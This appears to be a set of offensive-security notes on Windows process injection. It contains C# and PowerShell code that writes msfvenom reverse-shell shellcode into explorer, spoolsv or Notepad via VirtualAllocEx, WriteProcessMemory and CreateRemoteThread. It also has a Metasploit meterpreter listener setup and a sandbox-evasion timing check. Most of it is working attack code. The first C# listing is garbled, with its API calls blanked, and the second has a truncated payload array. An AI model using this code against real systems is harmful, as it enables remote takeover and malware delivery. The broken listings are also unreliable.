C# Process Injection

C# shellcode:
listner
sudo msfconsole -q -x "use exploit/multi/handler"
set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.119.120
set lport 443
run

On disk shellcode injection to process

injectshell.exe
using System;
using System.Runtime.InteropServices;

namespace ConsoleApp1
{
    internal class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        
        [DllImport("kernel32.dll")]
        static extern void Sleep(uint dwMilliseconds);
                
        static void Main(string[] args)
        {
            DateTime t1 = DateTime.Now;
           
            double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
            if(t2 < 1.5)
            {
                return;
            }
            IntPtr hProcess = (, , );
            IntPtr addr = (, , , , );

             {
             };
             
            // decryptor if used evasion encryptor
            //for (int i = 0; i < buf.Length; i++)
            //{
            //    buf[i] = (byte)(((uint)buf[i] - 2) & 0xFF);
            //}

            IntPtr outSize;
            (, , , , );

            IntPtr hThread = (, , , , );
        }
    }
}

Remember to set the CPU architecture to x64 (both compiler & shellcode) since we are injecting into a 64-bit process

64-bit versions of Windows can run both 32 and 64-bit processes.

This means that we could face four potential migration paths:

64-bit -> 64-bit, 64-bit -> 32-bit, 32-bit -> 32-bit, and 32-bit -> 64-bit.

The first three paths will work as expected. However, the fourth (32-bit -> 64-bit) will fail since CreateRemoteThreaddoes not support this.

The low-level native APIs NtCreateSection, NtMapViewOfSection, NtUnMapViewOfSection, and NtClose in ntdll.dll can be used as alternatives to VirtualAllocEx and WriteProcessMemory.

better
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

namespace ex22
{
    internal class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        static bool IsElevated
        {
            get
            {
                return WindowsIdentity.GetCurrent().Owner.IsWellKnown(WellKnownSidType.BuiltinAdministratorsSid);
            }
        }
        static void Main(string[] args)
        {
            String procName = "";
            if (args.Length == 1)
            {
                procName = args[0];
            }
            else if (args.Length == 0)
            {
                // Inject based on elevation level
                if (IsElevated)
                {
                    Console.WriteLine("Process is elevated.");
                    procName = "spoolsv";
                }
                else
                {
                    Console.WriteLine("Process is not elevated.");
                    procName = "explorer";
                }
            }
            else
            {
                Console.WriteLine("Please give either one argument for a process to inject, e.g. \".\\ShInject.exe explorer\", or leave empty for auto-injection.");
                return;
            }

            Console.WriteLine($"Attempting to inject into '{procName}' process...");
            Process[] expProc = Process.GetProcessesByName(procName);
            int pid = expProc[0].Id;

            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);

            if ((int)hProcess == 0)
            {
                Console.WriteLine($"Failed to get handle on PID {pid}.");
            }
            Console.WriteLine($"Got handle {hProcess} on '{procName}' PID {pid}.");

            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
            Console.WriteLine($"Allocated memory at address {addr} in handle {hProcess}.");

            // msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 EXITFUNC=thread -f csharp
            byte[] buf = new byte[460] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
            0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5};

            IntPtr outSize;
            bool procMemResult = WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
            Console.WriteLine($"Wrote {outSize} payload bytes into {addr} (result: {procMemResult}).");

            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            Console.WriteLine($"Created remote thread at address {hThread}. Check your listener.");
        }
    }
}
powershell
function LookupFunc {
 
    Param ($moduleName, $functionName)
   
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 
        Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
            Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')                                                                          
    $tmp = @()                                                               
    $assem.GetMethods() | ForEach-Object { If ($_.Name -eq "GetProcAddress") { $tmp += $_ } }                                                                
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
   
function getDelegateType {
   
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )
   
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), 
        [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', 
        [System.MulticastDelegate])
   
    $type.
    DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
    SetImplementationFlags('Runtime, Managed')
   
    $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
    SetImplementationFlags('Runtime, Managed')
   
    return $type.CreateType()
}
   
$id = (Start-Process Notepad -passthru).ID
   
$hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess), (getDelegateType @([UInt32], [bool], [Int32]) ([IntPtr]))).Invoke(0x001F0FFF, $false, $id)
   
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx), (getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0x1000, 0x3000, 0x40)
   
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 EXITFUNC=thread -f ps1
   [Byte[]] $buf = 

   
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory), (getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($hProcess, $lpMem, $buf, $buf.Length, [ref]0)
   
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread), (getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $lpMem, [IntPtr]::Zero, 0, [IntPtr]::Zero)

Last updated